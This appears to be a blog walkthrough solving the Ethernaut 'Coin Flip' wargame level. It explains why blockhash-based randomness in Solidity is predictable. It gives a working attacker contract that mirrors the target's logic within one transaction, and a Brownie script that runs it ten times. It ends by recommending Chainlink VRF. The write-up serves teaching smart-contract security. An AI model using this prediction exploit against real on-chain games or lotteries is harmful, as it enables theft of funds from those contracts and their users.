Ethernaut 3, solution: Coin Flip
Understand the dangerous of calculating random values in the blockchain and also how transactions and message transmission works.
Continuing with the 3rd challenge, CoinFlip.
This challenge will help us to understand the dangerous of calculating random values in the blockchain and also we'll touch how trnasactions and messages transmission works.
Let's take a look into the contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
First we have the use of the OpenZeppelin library safeMath
Then we have an uint256, which is used to track how many times we successfully guess the outcome of the flip function;
Then we have another uint256 to store the last “random” value used in the contract.
Another uint256 which is a constant factor that divides the “random” value to finally obtain the guess.
In the constructor there is nothing fancy, it's only setting the consecutiveWins
variable to 0
Now, the funny part.
We have a function guess
that accepts one boolean parameter (true or false, each representing a side of the coin), this is the guess that we pass as input to the function. If we guess the outcome of the flip function ten consecutive times, we hack the contract,So we have to guess 10 times consecutively, if we fail one guess, the variable will be reset to zero.
The first line inside the function is blockValue
This is a uint256 which stores the blockhash
of the actual block - 1 and parse that value to a uint256
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
blockhash
blockhash
returns the hash (a bytes32
type) of the given block (the number of the block you passed as parameter, in this case block.number -1
), only if this block is within the latest 256 most recent blocks, this is for scalability reasons. If your block is not in those 256 latest blocks it will return zero.
You can read more about blockhash
here
block number
block.number it's just another global variable of the solidity that we use to obtain the current block index.
So, this is using:
The block number = block.number.sub(1)
The hash of that block = blockhash(block.number.sub(1))
We parsed that block hash (a 32 bytes) to a uint256 uint256(blockhash(block.number.sub(1)))
The contract is using this value as source of ‘randomness’ to derive the guess ‘randomly’ but as the solidity documentation suggest is really a bad idea as a to use blockhash
it as a source of randomness
“..the block hash can be influenced by miners to some degree. Bad actors in the mining community can for example run a casino payout function on a chosen hash and just retry a different hash if they did not receive any money.”
Not only that, the entire logic of the ‘random’ part of the function is there, publicly visible in the code, so we could simply mimic the same logic that they are using to predict the values that we are supposed to guess.
Then, we have an if
statement that checks where lastHash
is equal to blockValue
, if so, it reverts the whole transaction, if not, it stores that blockValue to use it the next time the function is called.
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
Then it takes the blockValue, and does a division with the constant number FACTOR. Finally, based on the result of that division, the contract decides the side of the coin and sets the side variable to true or false.
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
Finally, we have an if, else
statement that checks whether the side
is equal to the caller's choice, if so, increments consecutiveWins
to one and returns true, if not, sets consecutiveWins
to zero and returns false, so we have to start all over again.
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
Let’s hack!,
As I said earlier, all the logic to set up the ‘randomness’ part of the function is there publicly visible, we don't necessarily have to understand how it works, we just have to mimic the same lines of codes to be able to predict the outcome and finally pass as argument that prediction as our “guess”
Explaining in more detail, we have to find a way to know the hash and number of the block in which the transaction involving the flip function call is processed, so we have to know those values before call flip
but at the same time to avoid the block.number
to change.
But, how do we find those values before calling the flip
function but at the same time we call flip
? That's the tricky part.
How transactions and messages works
Idk if you heard this before but when you call a function in a contract A
that calls another contract B
, that whole process is done at the same time, well not time, transaction. This is because contracts cannot trigger/sign transactions by themselves. Only Externally Own Accounts (EOA) can execute/sign transactions.
But, what happens when a EOA calls a function in contract A
and that function in contract A
executes a function in contract B
? This is because contract A
is not really executing a transaction, contract A
is just passing a message to contract B
that saids “execute that function”, but always having as the origin the EOA. So, what i s the thing?The thing is that all that process is done in the same transaction. That sounds like the solution, right?
So, all we need to do is a contract A
that can mimic all the randomness logic that is within the flip
function and pass the value that we obtain as a parameter to the flip
. Since all this process is executed in the same transaction, we would be able to predict the value of blockValue
and at the same time call the flip
function with our prediction. Do this 10 times and that's it.
Lets code
First, we have to create our contract, in this we just only have to mimic all the logic that the flip
function is using to achieve “randomness”
To be able to call the flip
function within our contract, we have to instantiate the CoinFlip
contract in our contract. To do that we need the address and ABI of the CoinFlip
contract
If you follow my walkthrough, you may know you can obtain the ABI of a contract by creating an interface of it with the functions you want to call, in this case flip
pragma solidity 0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns(bool);
function consecutiveWins() view external returns(uint256);
}
Lest instantiate CoinFlip
in our contract.
ICoinFlip public contractToHack;
constructor(address contractInstance) {
contractToHack = ICoinFlip(contractInstance);
}
Here I'm only using the Interface of Coinflip
as a type to be able to instantiate the CoinFlip
contract within our contract with the variable name of contractToHack
, and passing the actual address in where it is deployed in the constructor. This is just a mechanism that solidity uses to be able to call functions of other contracts within a contract.
Now, we just only need to copy and paste all the logic used to generate ‘randomness’ in the flip
function, for that we need
The factor,
The process to obtain blockValue
The arithmetic operation in where we divide blockValue
by the FACTOR
And the ternary operation to decide which side chose.
Then we just call flip
with our choice.
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hackFlip() external returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = uint256(blockValue / FACTOR);
bool side = coinFlip == 1 ? true : false;
return contractToHack.flip(side);
}
That's it, now we just have to deploy our contract and call the hack
function 10 times.
from brownie import interface, accounts, config, CoinFlipHack
INSTANCE_ADDRESS = "0x7b4e404563824a938A5e7acA730c6B26c3e51675"
ACCOUNT = accounts.add(config["wallets"]["from_key"])
def hack():
# grab the Coin Flip contract Object
instance_contract = interface.ICoinFlip(INSTANCE_ADDRESS)
# deploy the exploit contract
exploit_contract = CoinFlipHack.deploy(INSTANCE_ADDRESS, {"from": ACCOUNT})
# call the exploit function 10 times
for i in range(10):
tx = exploit_contract.hackFlip({"from": ACCOUNT})
# wait 2 blocks betwen each call
tx.wait(2)
print(f"Contract has been hacked. we win {instance_contract.consecutiveWins()} consecutive times")
def main():
hack()
Finally, we can just submit the instance, we are going to use the same process as in previous articles.
Have the ethernaut contract abi, and its address to be able to instanti it.
And calls the submitLevelInstance
function
def submit_the_contract():
ethernaut_contract = Contract.from_abi("Ethernaut",ETHERNAUT_CONTRACT_ADDRESS, ETHERNAUT_ABI)
print("Submiting instance")
ethernaut_contract.submitLevelInstance(INSTANCE_ADDRESS, {"from": ACCOUNT})
print("Instance submitted. Level passed. WOHOOO!")
print("refresh the page of ethernaut")
def main():
submit_the_contract()
Now you can see the problems of generating random values in the blockchain, the thing is no matter how complex you write the logic to generate those values, if anyone can see that logic, as it happens in blockchain, anyone can mimic that logic to predict what your ‘randoms' values would be. And also, blockchains are deterministic environments, so in general it is pretty difficult to achieve randomness there.
But Kevin, I need to implement randomness in my super fantastic smart contract, how can I do that? Well you don't. You have to trust in a third party who can generate the random value for you. A third party? That sounds like centralization >:(.
Ummmm yeah, it's a trade off, but without that we wouldn't be able to achieve “real randomness”. But hey, there are really good options out there that use the oracle pattern, Chainlink for example. You could use its Verifiable random Function (VRF) contract to generate random values, you can read more about that here
That's all folks…
You can see the complete solution in this github repo
If you have any comment or suggestions please leave it in the comments section, also if you see any problem with the code feel free to make a PR.
You can follow me on my twitter @kevbto and DM me, I’m always happy to talk and get to know more people in this amazing community.
Stay tuned for the next Ethernaut solution: Telephone.